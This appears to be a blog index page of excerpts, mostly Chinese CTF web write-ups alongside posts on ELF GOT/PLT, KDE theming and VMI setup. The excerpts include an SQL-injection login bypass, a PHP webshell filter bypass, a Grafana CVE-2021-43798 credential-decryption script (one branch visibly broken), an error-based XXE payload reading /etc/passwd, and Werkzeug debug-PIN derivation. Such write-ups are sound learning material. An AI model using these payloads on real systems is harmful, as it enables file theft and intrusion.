NeSE十月升级赛WriteUp (Web)

学到了一些SQL注入的新姿势~ ezweb 首先是一个登录页,随便输入后发现会显示出查询数据库的具体语句: 于是想到可能有注入,试了一下万能密码admin' or 1=1 -- ,竟然成功进去了 登进去之后发现一个修改个人信息的功能点,可以上传头像: 尝试传个一句话上去,但发现存在后缀名的黑名单,和PHP相关的后缀名不是被ban了就是没解析,其他格式也不会被解析。还搜了一下,PHP在FashCGI模式下,也支持类似Apache里面.htaccess的独立配置文件用法,可以在某个文件夹创建一个名为.user.ini的配置文件,该配置仅对当前目录生效。但后面又发现.ini也被ban了……所以也没法通过修改解析格式的方式来解析脚本了(具体.user.ini能不能修改解析方式也没有去深究,找个时间研究一下) 除此之外,发现文件内容也会被替换,比如?会被替换成!,使得PHP起始的标签没法构造: 不过其他的过滤倒也没有,可以使用<script language="php"></script>来绕过PHP标签的过滤,来写入一句话。 一句话传上去了,接下来就想着怎么执行。因为无论怎么传也没法解析,黑名单也没法绕过,于是想到是不是可能有其他的包含点,翻源码翻来翻去,在用户列表的页面里找到了一个小提示,果然有包含点: 然后就是直接包含上传的一句话,执行命令cat /flagaaaaaaaaaaaa拿到Flag: sqli 一道很直白的SQL注入题,随便试了一下发现有报错,根据报错信息可以知道传参外面是包裹了一层单引号的。尝试了不少关键词都显示hack,于是首先fuzz了一下黑名单,发现过滤的有亿点多: 除去常见的关键字外,还过滤了下面这几类: 所有的空白字符,包括空格、\n、\t、\x00等; 所有的注释符(//除外但并不能注释成功); information_schema; 逻辑运算&&、||、OR; 时间盲注相关:sleep、benchmark; 字符串截取函数substr、substring、mid、left、right; …… 对于空格的绕过,可以使用括号来括住表达式,这样可以不使用空格;但测试了一波之后,发现虽然UNION SELECT没有被过滤,但因为无法使用注释符,使得尾部的单引号无法被注释导致UNION SELECT无法构造成功。联合注入就走不通了。 遂尝试布尔盲注,首先子字符串的截取函数被ban,但又需要找到个办法来判断子字符串,翻了翻手册找到了locate函数,虽然没法截取字符串直接返回,但可以返回指定子字符串的索引值,似乎是个曲线救国的办法: LOCATE(substr,str), LOCATE(substr,str,pos) The first syntax returns the position of the first occurrence of substring substr in string str. The second syntax returns the position of the first occurrence of substring substr in string str, starting at position pos. Returns 0 if substr is not in str. Returns NULL if any argument is NULL. ...

Oct. 3, 2022 · 3 min · 474 words · Jiekang Hu

ByteCTF 2022 WriteUp

感觉可以抽个时间专门再学学SQL注入了… Web easy_grafana 打开题目,Grafana v8.2.6,经典CVE-2021-43798,但是原始的POC没法用,返回400,后来查了一下发现可能是中间件对URL做了标准化导致没法打,在POC中添加#可以顺利绕过。 读取配置文件/etc/grafana/grafana.ini,发现SecretKey: 1 secret_key = SW2YcwTIb9zpO1hoPsMm 然后就是脱裤/var/lib/grafana/grafana.db,在data_source表中的secure_json_data列中找到加密后的登录密码: 1 {"password":"b0NXeVJoSXKPoSYIWt8i/GfPreRT03fO6gbMhzkPefodqe1nvGpdSROTvfHK1I3kzZy9SQnuVy9c3lVkvbyJcqRwNT6/"} 随便Github找了个脚本解密即可: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 import base64 from hashlib import pbkdf2_hmac from Crypto.Cipher import AES saltLength = 8 aesCfb = "aes-cfb" aesGcm = "aes-gcm" encryptionAlgorithmDelimiter = '*' nonceByteSize = 12 def decrypt(payload, secret): alg, payload, err = deriveEncryptionAlgorithm(payload) if err is not None: return None, err if len(payload) < saltLength: return None, "Unable to compute salt" salt = payload[:saltLength] key, err = encryptionKeyToBytes(secret, salt) if err is not None: return None, err if alg == aesCfb: return decryptCFB(payload, key) elif alg == aesGcm: return decryptGCM(payload, key) return None, None def encryptionKeyToBytes(secret, salt): return pbkdf2_hmac("sha256", secret.encode("utf-8"), salt, 10000, 32), None def deriveEncryptionAlgorithm(payload): if len(payload) == 0: return "", None, "Unable to derive encryption" if payload[0] != encryptionAlgorithmDelimiter.encode(): return aesCfb, payload, None payload = payload[:1] def decryptGCM(payload, key): nonce = payload[saltLength: saltLength+nonceByteSize] payload = payload[saltLength+nonceByteSize:] gcm = AES.new(key, AES.MODE_GCM, nonce, segment_size=128) return gcm.decrypt(payload).decode(), None def decryptCFB(payload, key): if len(payload) < AES.block_size: return None, "Payload too short" iv = payload[saltLength: saltLength + AES.block_size] payload = payload[saltLength+AES.block_size:] cipher = AES.new(key, AES.MODE_CFB, iv, segment_size=128) return cipher.decrypt(payload).decode(), None if __name__ == "__main__": grafanaIni_secretKey = "SW2YcwTIb9zpO1hoPsMm" dataSourcePassword = "b0NXeVJoSXKPoSYIWt8i/GfPreRT03fO6gbMhzkPefodqe1nvGpdSROTvfHK1I3kzZy9SQnuVy9c3lVkvbyJcqRwNT6/" encrypted = base64.b64decode(dataSourcePassword.encode()) pwdBytes, _ = decrypt(encrypted, grafanaIni_secretKey) print(pwdBytes) Reference pedrohavay/exploit-grafana-CVE-2021-43798 Grafana 文件读取漏洞分析与汇总(CVE-2021-43798) - CTF+ ctf_cloud 题目点进去有注册和登录,附件给了源码,顺手就找到了注册和登录的路由: ...

Sep. 25, 2022 · 5 min · 917 words · Jiekang Hu

浅析动态链接中GOT与PLT的工作方式

前言 动态链接是一种高效且节省空间的程序间共享代码方式。若程序使用静态链接方式,则程序所有代码都将集成到同一个二进制文件中,其优点在于无依赖关系,可以在不同运行环境的OS下运行。但是缺点也十分明显,由于二进制文件中包含全部代码,所以所占空间较大;如果多次运行同一个程序,则OS可能会对某个库函数进行多次重复 的加载,占用了不必要的内存;若某个公用的库函数产生了更新,则需要重新编译所有使用了该库的程序,工作量较大。 静态链接的一个典型的例子就是Golang,其默认所有程序都是使用静态链接的方式,包含有所有使用到的Golang库函数,因此使用Golang编写的程序因为具有优秀的可移植性和开箱即用受到较多好评。但较为直观的也能看见上面所说的缺点:Linux x86_64下,一个Golang编写的HelloWorld二进制文件占用空间为1.7MB。 而为了解决静态链接存在的重复加载、重复编译等问题,引入了动态链接的方式。使用动态链接的程序不包含库函数的代码,库函数通过动态链接库(.so)的形式独立存在。当程序开始运行并产生外部函数调用时,动态链接器将承担加载动态链接库和重定位函数地址、变量地址的工作,在运行时确定外部函数地址和变量的值,也叫惰性加载。动态链接能够减少程序的启动时间(程序占用空间变小),且动态链接器也不会产生较多额外的性能开销,因此动态链接还是如今比较广泛应用的一种链接方式。 为了支撑动态链接这一工作过程,在ELF文件中有4个Section与之相关: .got:全局偏移表(Global Offset Table),用于存储外部符号的绝对地址,由链接器进行填充。 .plt:过程链接表(Procedure Linkage Table),存有从.got.plt中查找外部函数地址的代码,若是第一次调用该函数,则会触发链接器解析函数地址并填充在.got.plt相应的位置;若函数地址已经存储在.got.plt中则直接跳转到对应地址继续执行。 .got.plt:GOT中专用于PLT存储外部函数地址的部分,是属于GOT的一部分。 .plt.got:不知道干啥用的,可能只是为了名字的对称…… 下面将对基于GOT和PLT来进行外部符号地址重定向的工作方式进行分析。为了便于演示过程,编写了两个C文件,一个编译为共享的动态链接库,另一个是可执行程序。代码和编译命令如下: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 // main.c // gcc -g -m32 -no-pie -L. main.c lib.so -o main #include <stdio.h> static int a; extern int b; extern void external(); void internal() { printf("[*] INT\n"); } int main(void) { printf("a = %d, b = %d\n", a, b); internal(); external(); return 0; } // lib.c // gcc -g -m32 -shared -fPIC lib.c -o lib.so #include <stdio.h> int b = 0xdeadbeef; void external() { printf("[*] EXT\n"); } 这份代码展示了符号引用的四个场景: ...

Aug. 12, 2022 · 5 min · 960 words · Jiekang Hu

KDE终极美化指南

前言 近期在电脑上装了Windows+Linux双系统,日常学习和轻度办公类方面的东西都主要在Linux上进行,需要打游戏或者要用到Adobe全家桶等只有Windows才能干的事情的时候才切到Windows上去。用了也有大几个月了,Linux已经完全能够满足我的需求,包括编程、影音播放、Office文档处理、远程控制、IM软件等等在Linux上都已经拥有了较好的支持,用作主力系统完全不存在问题。既然都用作主力系统了,桌面一定得整的让自己看着舒服,于是就有了这篇文章。 桌面环境的选择上,选择了性能表现好、可自定义性高而且很好看的KDE。同样使用过国产的一些桌面环境(DDE、UKUI等),个人觉得国产桌面更偏向于给小白使用,可自定义的程度不够高,但界面也足够好看。还有其他桌面环境,如GNOME、Xfce,这些纯属是用腻了,而且同样是自定义程度不够高。 需要说明的是,本文的美化都是在Arch Linux下最新版本的KDE下进行的,老版本KDE可能部分功能存在差异(比如我用过的Kubuntu 20.04,KDE直接比同期的Arch Linux差一个大版本,不少功能都是缺失的)。先上两张效果图: KDE桌面环境拥有其自己的主题商店,包含了全局主题、图标包、小组件、配色方案等所有可自定义部分的主题资源。因为KDE主题商店网站在国内的速度属实不咋地而且还经常掉线,个人最推荐通过ocs-url来进行安装,能够直接通过浏览器来捕获下载文件的信息,并自动根据组件类型将主题包解包至指定的位置,基本上即装即用。当然除此之外,一些热门的主题资源也包含在了Arch Linux的AUR仓库中,可以直接通过yay安装。 Arch Linux系列可以通过yay直接安装ocs-url: 1 yay -S ocs-url 如果通过浏览器直接下载提示网络问题无法下载,还可以通过命令行代理,从命令行来启动ocs-url,使用方法即ocs-url [OCS URL],对应的主题包URL(以ocs://开头)可以在主题组件下载页通过浏览器开发者工具抓取到: 桌面主题的更换 KDE中一个比较完整的全局主题包含以下三个部分: 全局主题:包含了整体的配色风格、Plasma视觉风格、窗口样式、界面配色方案,有的还带有一套图标以及鼠标指针 Kvantum主题:Kvantum是一个基于Qt的主题引擎,能够修改应用程序风格(窗口的毛玻璃背景就是通过这个搞定的),若一些全局主题支持背景的毛玻璃特效通常都会建议安装其对应的Kvamtum主题。通过yay -S kvantum可以安装Kvantum Manager。 其他:如欢迎屏幕的主题、Sddm主题、Konsole配色方案主题等。 全局主题我选择的是类Win10配色的We10XOS-dark,曾经用过的Layan主题也很好看。安装起来没啥技术含量,随后在设置里更换全局主题,并将应用程序风格设置为kvantum,这样Kvantum主题才能正常工作。 再打开Kvantum Manager即可以应用Kvantum主题,配置页面也可以对主题进行更进一步的个性化设置。在这里有一个小坑,若系统开启了缩放比例,需要在配置主题中将禁用非整数比例的半透明取消勾选(默认是勾选了的),否则无论怎么弄毛玻璃都没法生效。 窗口样式上,个人更喜欢breeze-blurred,是基于KDE默认的微风窗口样式魔改的,添加了毛玻璃的特效,与Kvantum设置的毛玻璃相结合,即可以实现整个窗口的无缝毛玻璃。举个例子,Konsole的无缝毛玻璃,只需要让Konsole配色方案的第一个背景色和系统颜色方案中的“活动标题栏”颜色一致,再让breeze-blurred的透明度和Konsole的背景透明度一致即可。 这些修改完成后,整个系统的界面效果已经很舒服了,这里我还更换了图标为Fluent Icon Theme,搭配毛玻璃效果很不错。下一步是通过一些桌面组件来使得整个桌面的功能更完善,用起来更方便。 一些实用的桌面小组件 Latte Dock:基本上是Linux上Dock栏的最优选了,功能相当强大,同样支持自定义的主题; Tiled Menu:一个模仿Windows 10磁贴样式的开始菜单。 Awesome Widgets:一个简约的小组件集合,可以自定义将系统的状态信息展示在桌面上,里头修改的是HTML,所以也比较灵活。另一个替代品是Netspeed Widget,当然功能没有这个强大; Panon:音频可视化组件,有一些默认样式,主题商店同样有其他人设计的样式(就是比较少),推荐这个样式,放在桌面上很好看; Clear Clock:一个放在桌面的时间组件; 全局菜单:系统自带的组件,将当前应用程序的菜单显示在任务栏上,搭配Application title可以实现类似macOS那样的顶栏,但其实不少应用都没有对应的菜单支持,相对鸡肋; 拾色器:这个是系统自带的,用于在屏幕上选取颜色,选完了可以复制其RGB值和Hex表示。 其他部分的优化 KDE默认是单击打开文件或文件夹的,可以设置 工作区行为 常规行为 点击文件或文件夹时 为选中它们,这样就变成双击了; 工作区行为 桌面特效部分里面也有一些可以调节的选项,包括各种窗口动画等; 输入法可以使用fcitx5,Arch Linux上的使用体验应该是目前最佳的,推荐一个毛玻璃主题:https://github.com/Reverier-Xu/FluentDark-fcitx5。

Jun. 2, 2022 · 1 min · 58 words · Jiekang Hu

T-Star CTF 2022 WriteUp

赛后复盘发现感觉自己脑洞还是不够大。。。里面的Web题虽然难度不大但还是学到了一些零零碎碎的知识点 关卡1 给了一个URL,打开后显示需要输入手机号获取验证码,随便打了一个发现发送验证码的接口有Debug信息直接把验证码返回了: 输入验证码后进入网站,就一个十分简陋的网站,有四个直播间页面,都在放TSRC的宣传视频hhh,然后扫接口在点赞的地方找到了一个XXE(赛后复盘的时候站已经关了,放一张当时的截图) 总之当时就是发现可以本地读取文件但是没有回显,而且像上图加载进XML的数据还是会被带进后端查询直播的用户,如图中/sys/kernel/fscaps的值是1,带进去能够找到用户ID为1的用户所以返回500,如果没找到就返回No such streamer的消息。又试了几回发现没法加载远程DTD文件,于是当时就放着没管了 赛后看wp学到了一个没见过的操作就是基于XML报错的XXE,https://j7ur8.github.io/WebBook/PHP/报错XXE.html,感觉原理就是把远程加载的东西直接写进了ENTITY里面,但是因为变量解析的原因需要嵌套包含两三层,最终的结果就是把要读取的文件读到了exp字符串里面,然后尝试去包含带有错误字符串的文件产生报错,在报错信息里也就会输出文件的内容。 1 2 3 4 5 6 7 8 9 10 11 <?xml version="1.0" ?> <!DOCTYPE message [ <!ENTITY % condition ' <!ENTITY &#x25; file SYSTEM "file:///etc/passwd"> <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>"> &#x25;eval; <!-- 把报错的ENTITY通过引用加载进来 --> &#x25;error; <!-- 引用会产生报错的ENTITY error, 然后error会去加载里面的file引用实体内容,从而产生一个错误的URI --> '> %condition; ]> <message>any text</message> 通过这种方法,结合proc就能够读到后端的代码/proc/self/cwd/app.py,然后发现模块config,读取config.py拿到flag。 ...

Apr. 24, 2022 · 4 min · 664 words · Jiekang Hu

*CTF 2022 WriteUp

虽然比赛时只做出来一道题,但确实玩的挺开心的,所以记录一下 oh-my-grafana 该题用到了Grafana应用中最为广泛的一个CVE漏洞CVE-2021-43798,可以未授权通过Grafana的插件实现任意文件读取。 通过搜索获取到Grafana的配置文件路径/etc/grafana/grafana.ini,在里面翻到了管理员的帐号和密码(一开始我还以为不会这么简单,还去读取了一下Grafana的数据库,/var/lib/grafana/grafana.db) 然后利用后台的数据库查询工具,查询Grafana的数据库获得flag。 oh-my-notepro 打开网站后是一个简单的笔记界面,创建账户登录进去之后就可以写笔记并且查看笔记: 点进去笔记详情页,很容易发现URL格式为/view?note_id=at8k8cdp6874vqcvzifietexy4gtnpey,尝试修改为不存在的note_id,产生报错,发现后端是Flask而且开启了调试模式,查看错误代码发现是SQL查询错误: 于是尝试注入,发现轻松注进去,没有任何过滤: 但是翻看了一阵子数据库之后发现没什么有用的信息,且数据库为USAGE权限所以没法提权。翻看了一下其他的功能点,整个网站的功能也十分单一并没有发现额外的功能,所以接着把关注点放在了Flask的调试模式上。 注意到在报错代码的右侧有个小按钮,名为Open an interactive python shell in this frame,也就是可以直接起一个Python shell,但是需要一个Debug PIN才能解锁。 于是搜索发现这个PIN可以直接生成,参考文章https://www.daehee.com/werkzeug-console-pin-exploit/。文章中提到这个PIN是由四个公共变量和两个私有变量经过哈希生成的,也就是下面这一段: 1 2 3 4 5 6 7 8 9 10 11 probably_public_bits = [ 'web3_user',# username 'flask.app',# modname 'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__')) '/usr/local/lib/python3.5/dist-packages/flask/app.py' # getattr(mod, '__file__', None), ] private_bits = [ '279275995014060',# str(uuid.getnode()), /sys/class/net/ens33/address 'd4e6cb65d59544f3331ea0425dc555a1'# get_machine_id(), /etc/machine-id ] probably_public_bits中的用户名和Flask包路径分别在数据库和调试信息中可以获取到,接下来就剩下这两个私有的变量需要读取对应的文件才能获取到。一开始尝试用MySQL的LOAD_FILE来包含文件但是一直返回空值,赛后经群友指点学到了一个新的MySQL语法LOAD DATA(https://dev.mysql.com/doc/refman/5.7/en/load-data.html),可以直接将文件中的数据读取至表中。因为这个语句没法制定读进哪个列,所以读进已有的表似乎可能性不大(第一列都是ID,数据类型一转换就没了),尝试创建一个新表,发现可以创建,于是通过写入新表的方式可以获取到这些信息,Payload如下: ...

Apr. 17, 2022 · 2 min · 424 words · Jiekang Hu

基于VMI的Linux虚拟机系统调用解析

VMI(Virtual Machine Introspection,虚拟机自省),是一种从虚拟机外部对虚拟机内部状态进行监控的技术。基于VMI获取的内存数据并结合通过KVM对VCPU相关信息的获取,实现将该类低级语义转换为系统调用层面的高级语义信息,从而可以一定程度的分析出系统的行为。 有关基于KVM的VMI开发环境部署可参考这篇文章。本文主要记录有关修改KVM源码实现系统调用陷入、对内存数据进行语义转换相关的原理与流程。 Kernel Side-获取系统调用的寄存器信息 在KVM侧主要实现的是设置VCPU的陷入以及一些VCPU基本信息的获取,如VM的VCPU数量、VM相关的一些句柄等等。除去设置陷入需要对VCPU的状态进行修改,其他的接口通过ioctl的方式来提供给用户态。 Intel x86 VMX架构简介 Intel 为了实现CPU的硬件虚拟化,在原来x86 CPU的基础上增加了VMX(Virtual Machine Extensions)架构。在VMX架构中有两类软件,这也是现今虚拟化的基本模式,分别是虚拟机监控器(VMM,就是KVM、Xen这类软件)和虚拟机(VM)。VMM对于整个系统的硬件资源具有完全的掌控权,然后再将机器的实体硬件进行抽象和模拟,最终提供给运行于其上的虚拟机。除了给虚拟机提供虚拟的硬件资源之外,VMM还负责保证不同虚拟机实例之间的互相隔离与独立,并且确保每个虚拟机在资源使用、调度等方面都是公平的。 但是传统的操作系统内核都是运行在CPU的Ring 0特权级别(定义参见Protection ring - Wikipedia),而为了完全掌控虚拟机的硬件,虚拟机的系统内核显然不能直接运行在Ring 0,所以为此Intel引入了一种新的CPU操作VMX operation(具体介绍在Intel SDM Volume 3, Chapter 23),来支撑虚拟机的运行。VMX Operation包含两类CPU操作: VMX root operation:VMM运行在该种操作模式下,CPU行为和VMX operation之外的行为相似; VMX non-root operation:VM运行在该种操作模式下,CPU的一些指令操作受限。 两种操作模式下,均有独立的Ring 0-Ring 3的特权级别,VMX operation和CPU特权级别是正交的,且两种操作模式可以相互转换,称为VMX转换(VMX transition)。VMX root转换为VMX non-root称为VM Entry,VMX non-root转换为VMX root称为VM Exit。 通过VM Entry,可以令一个虚拟机进入到运行状态,而当虚拟机在执行某些特殊指令的时候也会产生VM Exit退出到VMM,从而交由VMM处理。为了支撑这样一种模式的正常运行,Intel也设计了一系列指令,并且对每个虚拟机都提供了一个对应的控制数据结构,称为VMCS(Virtual Machine Control Structure),用于存储虚拟机的相关信息。指令的详细描述,可见Intel SDM Volume 1 Chapter 5.22。 令虚拟机陷入KVM 为了在VMM的层面上监控系统调用的信息,很容易想到就是让虚拟机在每当产生系统调用的时候就产生VM Exit,陷入到VMM,再对其CPU、寄存器等信息进行获取,以便后续处理。根据发起系统调用的方式不同分为以下三类,但是其基本原理都是产生一个系统中断,从而陷入到VMM中(KVM只能捕获系统中断): 基于中断的系统调用 对于一些老版本的OS,系统调用通过用户中断的方式来进行实现(如Linux为int 0x80,Windows为int 0x2e),所以可以通过修改中断描述符表(IDT),将所有用户中断描述符全部删除,只保留系统中断描述符,之后每当发起用户中断时,都会因为查询IDT地址越界产生一个#GP异常(General Protection Fault),引起系统中断。 ...

Mar. 3, 2022 · 1 min · 147 words · Jiekang Hu

虚拟机自省环境搭建

虚拟机自省(Virtual Machine Introspection,简称VMI),是一种从外部(即Hypervisor)对虚拟机内部状态进行监控的技术。从Hypervisor层面,通过虚拟机的陷入,可以直接读取到虚拟机陷入瞬间的内存数据。 部署基于KVM的VMI开发环境主要分为三个部分,分别为KVM、QEMU、LibVMI。前两个是Linux下部署虚拟化的必备组件,LibVMI则是基于各种Hypervisor所实现的VMI库,官网地址https://libvmi.com。 KVM 编译内核 下面的步骤,编译了一个带有KVM的4.9.0版本内核。 首先从kernel.org - kvm/kvm.git上下载KVM的源码,可以直接git clone,也可以下载Tarball。下载好源码之后,可以先使用make kernelversion来查看一下源码对应的Kernel版本,然后开始配置内核config。 使用make olddefconfig将现有系统的config直接复制过来,调整部分冲突的配置项,其余的维持现状(这里还有一种选择是直接从默认的config里来创建:make x86_64_defconfig,但是这样编译出来的内核因为一些驱动相关的选项可能没有打开,安装启动之后可能只能进BusyBox的Shell,是没办法进去系统的) 使用make menuconfig进入命令行可视化界面继续调整部分配置项,这里列出KVM相关的配置项如下: 1 2 3 4 5 6 7 8 9 10 11 12 CONFIG_HAVE_KVM=y CONFIG_HAVE_KVM_IRQCHIP=y CONFIG_HAVE_KVM_EVENTFD=y CONFIG_KVM_APIC_ARCHITECTURE=y CONFIG_KVM_MMIO=y CONFIG_KVM_ASYNC_PF=y CONFIG_HAVE_KVM_MSI=y CONFIG_VIRTUALIZATION=y CONFIG_KVM=m CONFIG_KVM_INTEL=m CONFIG_KVM_AMD=m CONFIG_KVM_MMU_AUDIT=y 之后就可以开始准备编译内核。首先更新系统,安装编译的依赖程序: 1 2 3 4 5 6 7 8 # Ubuntu sudo apt-get update sudo apt-get upgrade sudo apt-get install libncurses5-dev libssl-dev build-essential openssl pkg-config libc6-dev bison flex libelf-dev zlibc minizip libidn11-dev libidn11 bc fakeroot bison ncurses-dev # CentOS sudo yum update sudo yum groupinstall "Development Tools" sudo yum install ncurses-devel hmaccalc zlib-devel binutils-devel elfutils-libelf-devel openssl-devel 使用以下命令编译带有KVM的新内核。需要注意的是,视内核版本,必须使用能够兼容该版本内核的GCC和发行版版本来编译和安装,否则会出现编译失败的情况。 ...

Dec. 14, 2021 · 3 min · 521 words · Jiekang Hu